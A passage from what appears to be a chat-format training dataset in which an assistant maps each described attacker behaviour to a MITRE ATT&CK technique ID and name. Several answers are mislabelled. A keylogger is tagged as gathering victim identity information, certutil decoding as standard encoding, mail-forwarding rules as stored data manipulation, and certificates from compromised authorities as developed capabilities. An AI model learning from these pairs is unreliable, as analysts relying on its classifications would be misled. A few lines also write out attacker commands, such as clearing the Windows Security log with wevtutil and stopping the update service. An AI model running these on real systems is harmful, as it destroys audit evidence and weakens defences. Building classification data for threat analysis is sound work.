                "content": "Using PowerShell, the threat actor changes the timestamps of malicious scripts to match those of legitimate utilities, employing the T1070.006 technique."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit compromised OAuth client secrets to authenticate to Azure resources, effectively masquerading as legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised pod runs a script that calls the Kubernetes API’s \"/api/v1/nodes\" endpoint to gather node resource information."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encrypts files in place using a XOR operation, then overwrites the original files with the encrypted version, leaving a ransom note in each directory."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A network-based attack where counterfeit ARP replies are broadcast, causing legitimate hosts to send data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the SharePoint Online Management Shell to export site data, including confidential project documentation."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder tampers with the registry keys for a service under HKLM\\System\\CurrentControlSet\\Services, changing the ImagePath to point to malicious code."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor tampers with HTTP response bodies in transit, altering the content to deliver malicious scripts to the client."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerated internal wiki pages to locate configuration files that disclosed API keys."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses the command \"wevtutil cl Security\" to remove entries from the Security log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downloaded a ransomware binary from a public malware repository and stored it for later deployment."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes ACLs on HKLM\\SYSTEM\\CurrentControlSet\\Services to grant write access, allowing them to replace the service executable and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilizes rundll32.exe to execute a malicious JavaScript payload embedded within a DLL resource."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker injects a phishing form into a legitimate login page by exploiting a stored XSS vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the UEFI firmware with a custom version containing a persistent bootkit."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was distributed as a stripped ELF binary, removing any build information to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing the Office JavaScript API in an add‑in to exfiltrate data each time Excel is used."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a publicly disclosed vulnerability in a web application firewall to bypass security controls and drop a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the attacker queries Active Directory with `Get-ADDomainTrust -Filter *` to list domain trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed the network device configuration repository and copied the device settings files."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script walks through mapped drives, selects .docx files, and uploads them to a cloud bucket."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses the 'certutil.exe' utility to decode a base64‑encoded payload and then execute it."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups use the System Script Proxy Execution: PubPrn method to run a stealthy PowerShell command via the printer driver, gaining SYSTEM access."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace a shared configuration file used by multiple servers with a tampered version that loads a malicious library on start-up."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries uploaded a remote access tool (RAT) using a PowerShell Invoke-WebRequest command to the victim's temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivered a malicious executable with its PE header stripped, making static analysis difficult and allowing the payload to run stealthily."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a fake root certificate in the certificate authority store to hijack secure communications and sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages launchctl to unload legitimate system services before installing malicious ones."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases advertising slots on popular gaming portals, inserting malicious payloads that exploit outdated Flash plugins."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant scans the file system for credential files and copies them to a staging area."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a fake DLL with the same name as a system library and places it in a directory that the system searches first, resulting in code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses encrypted WebSocket connections to maintain persistent C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes AWS Systems Manager Session Manager to execute commands on victim machines through the cloud management console."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses living off the land tactics, leveraging native operating system tools and commands to evade detection while moving laterally within a network."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team set up a fake certificate authority to issue code signing certificates for their malware distribution."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker split a command across multiple lines using caret (^) characters and reassembled it during execution."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary invoked the system's default Unix shell to perform directory enumeration and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set executes a PowerShell command that removes recent event logs and deletes associated files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A misconfigured public S3 bucket exposed access keys, which the attacker harvested to assume the associated IAM role."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies a custom credential‑dumping utility from the breached workstation to a remote server via an SMB share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group places a malicious script named 'run.ps1' in the current working directory, which is executed before the intended script due to default search precedence."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor prepends a Right-to-Left Override Unicode character to a PowerShell payload, so the file appears as \"report.doc\" but actually runs a .ps1 script."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion altered stored email forwarding rules on the mail server, causing copies of all incoming mail to be sent to an external address."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool sets the system’s power plan to ‘Balanced’ with a zero minute turn‑off timer for the display, minimizing user suspicion while staying active."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By changing the access rights of a trusted installer file, a threat actor places a backdoored executable in its place, achieving execution with system-level privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a vulnerability in a network protocol to disrupt communications"
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform a man‑in‑the‑middle attack on SSH sessions by injecting themselves into the key exchange process."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary acquires a compromised AWS account to host malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used the CMSTP binary to proxy a signed system binary, enabling them to run a covert PowerShell script on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the legitimate SSH daemon binary with a compromised version that logs user credentials before authenticating."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party script on a popular website reads and forwards users’ session cookies to an external endpoint."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They deploy a tool named 'chrome.exe ' with a space at the end to evade signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a script that iterates through OIDs to extract device configuration details via SNMP."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the msdb.dbo.sysmail_procmail stored procedure, the attacker exfiltrated data via email without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a command to display all network interface configurations, revealing gateway and DNS information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into the unused sections of a legitimate DLL, then the file is re‑signed to appear trusted."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors stage data by saving it in a hidden location on the victim's computer before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers issue the command 'sc stop wuauserv' to disable the Windows Update service on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion used Python's subprocess module to spawn a cmd.exe shell for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat leverages AppCert DLLs by dropping a payload DLL and configuring the system to load it automatically with the target application."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a malicious payload inside a running Docker container using the `docker exec` command."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a Python script that fetches additional modules from a malicious domain using HTTP GET requests."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the NTFS alternate data stream to remove the Mark‑of‑the‑Web zone ID, allowing malicious executables to run without user prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor removed all Azure Monitor logs after gaining privileged access."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits application shimming by adding a new shim entry that hijacks the loading process of a commonly used utility, injecting malicious code."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the /etc/init.d directory and parses the service scripts to discover available services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modified the mailbox's Access Control List (ACL) through the Exchange Admin Center to include their account as a delegate."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a keylogger to capture usernames and passwords entered on the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign leveraged a data breach of a third‑party service to obtain customers' full names, mailing addresses, and payment details."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the standard AMQP protocol to blend command traffic with legitimate message queues."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits misconfigured IAM policies to list all pods, services, and nodes in a Kubernetes cluster hosted on a cloud provider."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Win32 API ExitWindowsEx function to log off users and restart the machine without prompting."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain fraudulent digital certificates from compromised certificate authorities to sign malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages a script to toggle the system's boot configuration to Safe Mode, preventing security tools from loading during startup."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary's tool establishes a symmetric encrypted channel over HTTP using a custom cipher suite."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers drop a .url file in the startup folder that references a malicious HTTP URL, enabling the payload to be downloaded and executed each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
